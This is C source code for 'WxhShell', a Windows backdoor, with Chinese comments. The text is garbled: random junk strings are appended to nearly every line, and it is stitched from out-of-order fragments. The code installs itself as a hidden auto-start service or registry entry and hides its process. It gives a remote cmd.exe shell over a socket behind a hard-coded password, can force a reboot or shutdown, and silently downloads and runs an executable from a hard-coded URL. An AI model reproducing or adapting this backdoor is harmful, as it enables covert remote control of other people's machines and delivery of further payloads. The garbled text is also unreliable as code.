    closesocket(wsh); I;P!   
    ExitThread(0); WS@8Z0@RD  
    } *iPBpEWC  
    break; d+8|aS<A  
    } [t5 Dd  
  // 获取shell L>57eF)7  
  case 's': { g^\>hjNX  
    CmdShell(wsh); 2Myz[)<P_  
    closesocket(wsh); i.ivHV~ -  
    ExitThread(0); !#WJ(zSq  
    break; X%B2xQM 5  
  } @XKVdtG  
  // 退出 3);W gh6  
  case 'x': { 8{CBWXo$)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IF?  
    CloseIt(wsh); $')Uie<!8  
    break; q }9n.  
    } G)9`Qn  
  // 离开 T=pKen/  
  case 'q': { 2&F  H8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uv7tbI"r  
    closesocket(wsh); W}\<}dK  
    WSACleanup(); ]k.YG!$  
    exit(1); p!K]c D  
    break; g8Zf("  
        } N$8"X-na?  
  } + j6^g*  
  } s! sG)AR.J  
j2%#xZ{33  
  // 提示信息 mi sPJO&QD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DJRr  
} )Vx C v  
  } P?iQ{x}w~  
93Qx+oK]  
  return; xn7bb[g;  
} U }}E E~W  
NX<Q}3cC  
// shell模块句柄 n(Ry~Xu_  
int CmdShell(SOCKET sock) [>kzQYT[  
{ FzFP 0  
STARTUPINFO si; FOX0  
ZeroMemory(&si,sizeof(si)); gAy"W$F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DEKO] i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LO ,k'gg<  
PROCESS_INFORMATION ProcessInfo; DEpn>   
char cmdline[]="cmd"; NUX2{8gs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [\pp KC  
  return 0; ew8Manx  
} LBhDP5qF  
HwZ@T &_4  
// 自身启动模式 N*>&XJ#  
int StartFromService(void) IeE6?!,)  
{ 5' 3H$%dC  
typedef struct T4"*w  
{ x*F_XE1#M  
  DWORD ExitStatus; uy=E92n3  
  DWORD PebBaseAddress; 1Q??R }  
  DWORD AffinityMask; +0n,>eDjg^  
  DWORD BasePriority; ;8<lgZ9H<  
  ULONG UniqueProcessId; xo(3<1mD  
  ULONG InheritedFromUniqueProcessId; p/&s-G F  
}   PROCESS_BASIC_INFORMATION; 5%XEybc2  
]4-t*Em  
PROCNTQSIP NtQueryInformationProcess; %0Ke4c  
T9Pu V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? `#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &0@AM_b  
?rububDT{  
  HANDLE             hProcess; nA XWbavY  
  PROCESS_BASIC_INFORMATION pbi; @?<1~/sfL  
>]l7AZ:,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4ew#@  
  if(NULL == hInst ) return 0; v@]\  P<E  
:.NCS`z_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hc5iIJ]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AU H_~SY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;!/g`*?  
@RVj~J.A  
  if (!NtQueryInformationProcess) return 0; Pt %EyFG  
BYsQu.N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9TOqA4  
  if(!hProcess) return 0; i@spd5.  
Gw}b8N6E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yu9.0A_) :  
hvU\l`m  
  CloseHandle(hProcess); $3 ~ /H"K  
!5h@uar  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a6.0 $'  
if(hProcess==NULL) return 0; ^>!~%Vv7!  
,zH\&D$>u  
HMODULE hMod; N'RUtFqj   
char procName[255]; bmGtYv  
unsigned long cbNeeded; GxcW^{;  
8AVG pL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :l?/]K  
B"fKv0  
  CloseHandle(hProcess); /kK:{  
Hqm1[G)  
if(strstr(procName,"services")) return 1; // 以服务启动 BpZ17"\z  
@k,}>Tk  
  return 0; // 注册表启动 A**PGy.Ni  
} I=Xj;\b  
d7Devs k  
// 主模块 O_ /|Wx  
int StartWxhshell(LPSTR lpCmdLine) ~l>2NY  
{ ,*'aH z  
  SOCKET wsl; #`{L_n$c  
BOOL val=TRUE; j+>&~  
  int port=0; H;rLU9b  
  struct sockaddr_in door; 5X"WgR;  
23WlUM  
  if(wscfg.ws_autoins) Install(); .LHzaeJCX  
Y]Y]"y$1  
port=atoi(lpCmdLine); rpO>l  
nfzKUJY  
if(port<=0) port=wscfg.ws_port; DANndXQLH  
#R$[?fW  
  WSADATA data; e.ksN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8ORr  
%oEvp{I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x$\w^h\F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h|t\rV^  
  door.sin_family = AF_INET; -z$&lP]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^5d9n<_xnQ  
  door.sin_port = htons(port); 1*J#:|({(  
`d i/nv)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @&M$oI$4*  
closesocket(wsl); 0vm}[a4+i;  
return 1; JqYt^,,Q:  
} n^Sc*7  
f'3sT(1&  
  if(listen(wsl,2) == INVALID_SOCKET) { Kw ^tvRt'*  
closesocket(wsl); f.y~Sew  
return 1; O:3DIT1#>  
} i(@<KH  
  Wxhshell(wsl); bZsg7[: C  
  WSACleanup(); z@n779i  
!u=,bfyH  
return 0; N`%f+eT(  
]w[T_4 l  
} [e+$jsPl  
Pb-Ft =  
// 以NT服务方式启动 gC qQ~lWZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jf=$h20x  
{ CuD^@  
DWORD   status = 0; GBsM?A:  
  DWORD   specificError = 0xfffffff; tug\X  
*X4$'LSx1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %/x%hs;d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FI$#x%A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jB-)/8.qk  
  serviceStatus.dwWin32ExitCode     = 0; Z6vm!#\  
  serviceStatus.dwServiceSpecificExitCode = 0; @|GKNW#  
  serviceStatus.dwCheckPoint       = 0; d~b#dcv$"  
  serviceStatus.dwWaitHint       = 0; P?P))UB5  
Ho:X.Z9A^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !1\j D  
  if (hServiceStatusHandle==0) return; T{%'"mm;  
d(-$ { c  
status = GetLastError(); |r=.}9 -  
  if (status!=NO_ERROR) a \PvRW*I  
{ 2i3& 3oz]O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pD>^Dfd  
    serviceStatus.dwCheckPoint       = 0; Ma`Goi\vFk  
    serviceStatus.dwWaitHint       = 0; ?hQ,'M2  
    serviceStatus.dwWin32ExitCode     = status; WaRYrTDv64  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1"82JN|!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M%NapK  
    return; GI:$(<  
  } *jF VYg  
*t+E8)qL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eL+L {Ac  
  serviceStatus.dwCheckPoint       = 0; nE)|6  
  serviceStatus.dwWaitHint       = 0; :>t? ^r(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]'/ZSy,  
} G$D6#/rR  
4U*uH  
// 处理NT服务事件,比如:启动、停止 H}$hk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E0i_sB~T  
{ ;|Ja|@82  
switch(fdwControl) zjrr*iw  
{ \#A=twp  
case SERVICE_CONTROL_STOP: r2*'5jk_  
  serviceStatus.dwWin32ExitCode = 0; Pyx$$cj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 42m}c1R  
  serviceStatus.dwCheckPoint   = 0; /j1p^=ARV  
  serviceStatus.dwWaitHint     = 0; O<x53MN^  
  { h8yv:}XU*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .ZxH#l _  
  } nd] AvVS  
  return; XTZI !  
case SERVICE_CONTROL_PAUSE: j8G>0f)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?Ze3t5Ll  
  break; ",ic" ~  
case SERVICE_CONTROL_CONTINUE: 2.K"+%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {mp;^/O`er  
  break; \JLiA>@@  
case SERVICE_CONTROL_INTERROGATE: q$Ol"K@  
  break; (pjmE7 `"P  
}; DvuL1Me Ko  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zq5_&AeW  
} )^&)f!f  
B`4[@$  
// 标准应用程序主函数 %-4e8d74/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GZN@MK*co  
{ +"] 'h~W  
8elT/Wl  
// 获取操作系统版本 iK"j@1|  
OsIsNt=GetOsVer(); `f^`i~c\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n]B)\D+V^  
sv^; nOAc  
  // 从命令行安装 mP)<;gm,  
  if(strpbrk(lpCmdLine,"iI")) Install(); vR?L/G^.  
Z6b3gV  
  // 下载执行文件 X |f'e@  
if(wscfg.ws_downexe) { V#TA%>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (!';  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oed&B  
} g(:y_EpmLH  
B%Yb+M&K  
if(!OsIsNt) { N[}XLhbt  
// 如果时win9x,隐藏进程并且设置为注册表启动 V,uhBMT#  
HideProc(); A&5$eGe9  
StartWxhshell(lpCmdLine); TBQ`:`g^m  
} rrSA.J{  
else RU `TzD  
  if(StartFromService())  FFgy=F  
  // 以服务方式启动 Jz#ZDZkm  
  StartServiceCtrlDispatcher(DispatchTable); s 8``U~D   
else is}Fy>9i  
  // 普通方式启动 na FZ<'t>&  
  StartWxhshell(lpCmdLine); Q9[dUdQm  
U[S;5xeF.j  
return 0; ^;YD3EZw  
} 7l Aa6"Y68  
P|.KMtG  
2597#O  
nm'm*sU\  
=========================================== @D"1}CW  
S$"A[  
ej<z]{`05  
Smk]G))o{  
:;" 3k64  
,`|KN w5  
" d*3R0Q|#{  
? =IbiT  
#include <stdio.h> -T{~m6  
#include <string.h> gr=ke #   
#include <windows.h> V!KtF  
#include <winsock2.h> 2 ;B[n;Q{  
#include <winsvc.h> S0=BfkHi.  
#include <urlmon.h> 73xI8  
l}AB):<Z  
#pragma comment (lib, "Ws2_32.lib") ^:-%tpB#!  
#pragma comment (lib, "urlmon.lib") F{T|lTl  
((dG<  
#define MAX_USER   100 // 最大客户端连接数 .^kTb2$X  
#define BUF_SOCK   200 // sock buffer l:@.D|(o3  
#define KEY_BUFF   255 // 输入 buffer GW $iK@  
<{-DYRiN  
#define REBOOT     0   // 重启 6!Isz1.re  
#define SHUTDOWN   1   // 关机 N7#GK]n%/}  
YgWnPp  
#define DEF_PORT   5000 // 监听端口 "Pys3=h  
sZ4H\  
#define REG_LEN     16   // 注册表键长度 |E7]69=P  
#define SVC_LEN     80   // NT服务名长度 ~`N|sI,  
[1vrv(u>  
// 从dll定义API NM]6  o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I3s}t$`y(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ve7Is`/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -`?V8OwY]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \O/=g6w|t}  
9)YG)A~<  
// wxhshell配置信息 hG;u8|uT^i  
struct WSCFG { V u! ,tpa.  
  int ws_port;         // 监听端口 -=qmYf  
  char ws_passstr[REG_LEN]; // 口令 f CVSVn"o  
  int ws_autoins;       // 安装标记, 1=yes 0=no jN {ED_  
  char ws_regname[REG_LEN]; // 注册表键名  b'{D4/  
  char ws_svcname[REG_LEN]; // 服务名 P7Y[?='v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \|&5eeE@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )O&$-4gL'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U&eLj"XZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ns 9g>~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MoF Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,vhR99g{  
gVl#pVO`N  
}; OIWo* %  
$4M3j%S  
// default Wxhshell configuration Lq&xlW j  
struct WSCFG wscfg={DEF_PORT, oD}I{&=wa  
    "xuhuanlingzhe", L|H{;r'  
    1, P 2Eyqd8  
    "Wxhshell", k<f*ns  
    "Wxhshell", 54)}^ftY^  
            "WxhShell Service", g{a0,B/j  
    "Wrsky Windows CmdShell Service", uIPR*9~6o  
    "Please Input Your Password: ", $i`YtV  
  1, 9%dNktt  
  "http://www.wrsky.com/wxhshell.exe", Z2@&4_P  
  "Wxhshell.exe" QDDSJ>l5_T  
    }; A P\E  
@)0g Xg  
// 消息定义模块 IWQ8e$N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `150$*K&B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }ps6}_FE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l:[=M:#p  
char *msg_ws_ext="\n\rExit."; N!va12  
char *msg_ws_end="\n\rQuit."; oyd{}$71d  
char *msg_ws_boot="\n\rReboot..."; m8f_w  
char *msg_ws_poff="\n\rShutdown..."; U--ER r8  
char *msg_ws_down="\n\rSave to "; [zfGDMG&  
KVntBe]I  
char *msg_ws_err="\n\rErr!"; NSkI2>+P  
char *msg_ws_ok="\n\rOK!"; %$}iM<  
qy]-YJZ  
char ExeFile[MAX_PATH]; b13>>'BMB  
int nUser = 0; #*`|}_6L  
HANDLE handles[MAX_USER]; 8_ LDS  
int OsIsNt; r#j*vO '  
&vn9l#\(  
SERVICE_STATUS       serviceStatus; cP Y^Bf5)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v ;A  
f ;Dz(~ hw  
// 函数声明 XU54skN  
int Install(void); <*\J 6:^n  
int Uninstall(void); _\<M58/z  
int DownloadFile(char *sURL, SOCKET wsh); +l#2u#e  
int Boot(int flag); !`WuLhB`  
void HideProc(void); $ S49v  
int GetOsVer(void); Xgm7>=l  
int Wxhshell(SOCKET wsl); 7 D^A:f  
void TalkWithClient(void *cs); (*1 A0+S90  
int CmdShell(SOCKET sock); cZ(XY}  
int StartFromService(void); "&ks8 3  
int StartWxhshell(LPSTR lpCmdLine); g=%&p?1@E  
yqU++;6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I@B7uFj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bM'AD[  
Ob6vg^#  
// 数据结构和表定义 ibq@0CR  
SERVICE_TABLE_ENTRY DispatchTable[] = ,yF)7fN  
{ ~:@H6Ke[  
{wscfg.ws_svcname, NTServiceMain}, 4j*}|@x  
{NULL, NULL} WAEKvM4*i0  
}; qRFN@ID$  
:s5g6TR  
// 自我安装 O<hHo]jLF  
int Install(void) 3,[2-obmi  
{ pA2U+Q@  
  char svExeFile[MAX_PATH]; \z{Y(dS  
  HKEY key; |bk*Lgkzw  
  strcpy(svExeFile,ExeFile); U!5@$Fu  
anvj{1  
// 如果是win9x系统,修改注册表设为自启动 xI@~Ig  
if(!OsIsNt) { A_.QHUjpx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |); >wV"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x EBjfn  
  RegCloseKey(key); Q^k# ?j#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (g Z!o_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !2Orklzd1  
  RegCloseKey(key); A0XFu}  
  return 0; U,=K_oBAq  
    } x6t;=  
  } |^F-.Z  
} eZ!k'bS=  
else { Vo%d;>!G\;  
H@zk8]_P  
// 如果是NT以上系统,安装为系统服务 _x!pM j(A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w#e'K-=  
if (schSCManager!=0) AUC< m.  
{ >$y >  
  SC_HANDLE schService = CreateService FMn&2fH  
  ( {ZcZ\Q;6  
  schSCManager, dc05,Bz  
  wscfg.ws_svcname, {OOt+U!  
  wscfg.ws_svcdisp, =(ZGaZ}  
  SERVICE_ALL_ACCESS, 0 OBkd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~K9U0ypH  
  SERVICE_AUTO_START, .*j+?  
  SERVICE_ERROR_NORMAL, 2]+.8G7D%  
  svExeFile, -)oBh  
  NULL, a5-\=0L~  
  NULL, '!R,)5l0h  
  NULL, T?Y\~.+99  
  NULL, _#C}hwOR>X  
  NULL Xo`1#6xsE  
  ); AJT0)FCpR  
  if (schService!=0) v\Ljm,+  
  { |=LkV"_v  
  CloseServiceHandle(schService); Ro<kp8  
  CloseServiceHandle(schSCManager); aW"!bAdx`,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qj&)w9RLJE  
  strcat(svExeFile,wscfg.ws_svcname); jO 55<s94  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mV,R0olF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^aXBt  
  RegCloseKey(key); X2cR+Ha0  
  return 0; akQH+j  
    } vrzX%'  
  } `xUPML-  
  CloseServiceHandle(schSCManager); _ ^{Ep/ME=  
} f[b YjIX  
} T Rw6$CR  
Aq!['G  
return 1; C~qhwwh  
} {0 ~0  
c*dww  
// 自我卸载 9#<Og>t2y  
int Uninstall(void) 5-^%\?,x  
{ j;)g+9`  
  HKEY key; ^%&x{F.  
%K"%Qm=Tl  
if(!OsIsNt) { u7?juI#Cl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1c#'5~nB  
  RegDeleteValue(key,wscfg.ws_regname); G+uiZ (p>  
  RegCloseKey(key); (fa?f tK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s3{s.55{m  
  RegDeleteValue(key,wscfg.ws_regname); &._!)al  
  RegCloseKey(key); a[n$qPm}  
  return 0; #-T.@a1X  
  } /BM1AV{s6  
} @@IA35'tc  
} * Xoscc  
else { It4z9Gh  
U$)Hhn|X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C8EC?fSQ  
if (schSCManager!=0) [+g@@\X4  
{ wkD:i2E7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (0W}e(D8  
  if (schService!=0) 1>w^ q`P  
  { = O1;vc}AA  
  if(DeleteService(schService)!=0) { %i8>w:@NW  
  CloseServiceHandle(schService); IY6_JGe_w  
  CloseServiceHandle(schSCManager); yvCR =C  
  return 0; 6 ]Oxx{|}  
  } 0j(jJAE.  
  CloseServiceHandle(schService); B#"|5  
  } WuFwt\U  
  CloseServiceHandle(schSCManager);  J4"swPf  
} ( 'n8=J  
} E[.tQ|C  
br  Z, s  
return 1; /;AZ/Ocy!  
} V<4+g/  
i ,pN1_-  
// 从指定url下载文件 O[)]dD&'  
int DownloadFile(char *sURL, SOCKET wsh) cmhN(==  
{ eJw="  
  HRESULT hr; {|Ki^8h/p  
char seps[]= "/"; (YHvGGr  
char *token; bz0P49%  
char *file; Ia`JIc^e  
char myURL[MAX_PATH]; XcMJD(!  
char myFILE[MAX_PATH]; ,6;xr'[o*  
}b+QYSt  
strcpy(myURL,sURL); #we>75l{+R  
  token=strtok(myURL,seps); vo ;F;  
  while(token!=NULL) .3<IOtD=  
  { l(,;wAH  
    file=token; xDJ+BQ<1A  
  token=strtok(NULL,seps); l(#ke  
  } tIb21c q  
ny(GTKoUz  
GetCurrentDirectory(MAX_PATH,myFILE); eQFb$C]R}y  
strcat(myFILE, "\\"); 7TkxvSL X  
strcat(myFILE, file); vM7vf6  
  send(wsh,myFILE,strlen(myFILE),0); Y#&0x_Z  
send(wsh,"...",3,0); U`8 |9v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G4Kmt98I  
  if(hr==S_OK) D2</^]3Su  
return 0; +Y)#yGUn  
else i*CQor6|z  
return 1; Tz[?gF.Do  
=6L*!JP<  
} `{U%[$<[W  
y[p$/$bgC5  
// 系统电源模块 ml.;wB|  
int Boot(int flag) LxlbD#<V  
{ 7~"(+f  
  HANDLE hToken; J+b!6t}mZn  
  TOKEN_PRIVILEGES tkp; KO"Jg-6r|  
QW~5+c9JJ  
  if(OsIsNt) { M6]0Y@@>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6 W;?8Z_1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bugFl>  
    tkp.PrivilegeCount = 1; L; q)8Pb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3`k[!!   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?,:#8.9  
if(flag==REBOOT) { *el(+ib%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yYToiW *  
  return 0; n<?SZ^X{,/  
} T+WZE  
else { #_?TIY:h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'sRg4?PT  
  return 0; 3X$Q,  
} iog # ,  
  } 8jggc#.  
  else { 5, -pBep<  
if(flag==REBOOT) { 1a&/Zlr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5'X74`  
  return 0; K)/!&{7n}a  
} %e Sm&`  
else { kqD*TJA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >wKu6- ]a  
  return 0; eb!s'@  
} DhLr^Z!h3;  
} uZ\wwYY#M  
G; C8Kde  
return 1; {jOzap|  
} T+;H#&  
K[uY+!'1  
// win9x进程隐藏模块 -".kH<SWv  
void HideProc(void) mA(nyF  
{ X<~k =qwA  
7-".!M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6[*;M  
  if ( hKernel != NULL ) 4[TS4p  
  { VyecTU"W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7`IUMYl#~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cgs3qI  
    FreeLibrary(hKernel); -,QKTxwo>  
  } Cf0|Z  
*$i;o3  
return; HKTeqH_:  
} [x!i* rW3  
(;0$i?3\  
// 获取操作系统版本 =Kc|C~g  
int GetOsVer(void) )o#6-K+b  
{ /a[V!<"R  
  OSVERSIONINFO winfo; @up&q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 9Qc`3a  
  GetVersionEx(&winfo); 2J;kD2"!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tYs8)\{  
  return 1; .P)s4rQ\  
  else |XKOXa3.  
  return 0; 7_9+=. +X5  
} Hp btj  
C-llq`(d  
// 客户端句柄模块 7hB#x]oQo  
int Wxhshell(SOCKET wsl) xwPI  
{ {y,nFxLq  
  SOCKET wsh; {Q5KV%F_  
  struct sockaddr_in client; "7=bL7wM&  
  DWORD myID; U^%9 )4bj  
rO/a,vV  
  while(nUser<MAX_USER) "^;#f+0  
{ H LjvKE=W  
  int nSize=sizeof(client); &Nc[$H7<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )@}A r  
  if(wsh==INVALID_SOCKET) return 1; }m6f^fs}  
[34zh="o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1ZT^)/G  
if(handles[nUser]==0) Wrmgu}q  
  closesocket(wsh); ,*/Pg 52?  
else ]SFWt/<  
  nUser++; pw@`}cM=  
  } ]\A1mw-T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <57g{e0I  
vqq6B/r@Fu  
  return 0; Y [W6Sc  
} i<%m Iq1L  
C<_ Urnmn  
// 关闭 socket 60"5?=D  
void CloseIt(SOCKET wsh) jm+ V$YBP  
{ A9 U5,mOz  
closesocket(wsh); k+FMZ, D|  
nUser--; L e*`r2  
ExitThread(0); 0|g[o:;fl_  
} SOVj Eo4'3  
>Q; g0\I_  
// 客户端请求句柄 O?CdAnhQc`  
void TalkWithClient(void *cs) d] U`?A,  
{ ~?gzq~~t  
.>}BNy  
  SOCKET wsh=(SOCKET)cs; 0HqPyM13Q  
  char pwd[SVC_LEN]; $=/rGpAk  
  char cmd[KEY_BUFF]; Qh*)pt]n  
char chr[1]; lbRzx4=\y  
int i,j; {$;2 HbM(  
@B?FE\  
  while (nUser < MAX_USER) { z. 'Fv7  
$; ?c?n+  
if(wscfg.ws_passstr) { C>^,*7dS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wb b*nL|P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kP@H G<~  
  //ZeroMemory(pwd,KEY_BUFF); 7%e1cI  
      i=0; nE_Cuc>K\  
  while(i<SVC_LEN) { yq?]V7~  
kd yAl,  
  // 设置超时 Tr~sieL  
  fd_set FdRead; 69>/@<   
  struct timeval TimeOut; ymYBm: "  
  FD_ZERO(&FdRead); :$Q`>k7A  
  FD_SET(wsh,&FdRead); GQb i$kl  
  TimeOut.tv_sec=8; eH %Ja[  
  TimeOut.tv_usec=0; GWhE8EDT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `xCOR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }MP>]8Aq  
;`DD}j`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xh?4mKgu  
  pwd=chr[0]; P$_&  
  if(chr[0]==0xd || chr[0]==0xa) { K4:  $=  
  pwd=0; e!GZSk   
  break; )>V?+L5M  
  } ;+a2\j+  
  i++; =-w;z x  
    } xYPxg!  
hUh+JW  
  // 如果是非法用户,关闭 socket eTT) P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h h"h j  
} Fk{J@Y  
{=67XrWN1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8f|98T"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j C)-`_  
?E6^!4=,  
while(1) { +1QK}H ~  
;r.EC}>m  
  ZeroMemory(cmd,KEY_BUFF); Lkn4<'un  
-jB3L:  
      // 自动支持客户端 telnet标准   U6<M/>RG$  
  j=0; Huc|6~X  
  while(j<KEY_BUFF) { )hBE11,PB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {L].T#  
  cmd[j]=chr[0]; BgM%+b8u  
  if(chr[0]==0xa || chr[0]==0xd) { -}P7$|O &  
  cmd[j]=0; ]W/>Ldv  
  break; i)M EK#{  
  } FH8k'Hxg  
  j++; {WQq}-(  
    } ygzxCn|#  
s9@Sd  
  // 下载文件 .fp&MgiQ  
  if(strstr(cmd,"http://")) { [*Uu#9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~W-cGb3c  
  if(DownloadFile(cmd,wsh)) 5!(?m~jJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^`XCT  
  else 19W:-Om  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MLr-, "gs  
  } VL\t>n  
  else { ((bTwx  
O$D?A2eI  
    switch(cmd[0]) { ;SY\U7B\  
  P6\6?am  
  // 帮助 3TS_-l  
  case '?': { XKS8K4"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2' ] KTHm  
    break; <CZgQ\Mt  
  } |gx ~ gG<  
  // 安装 u5+|Su  
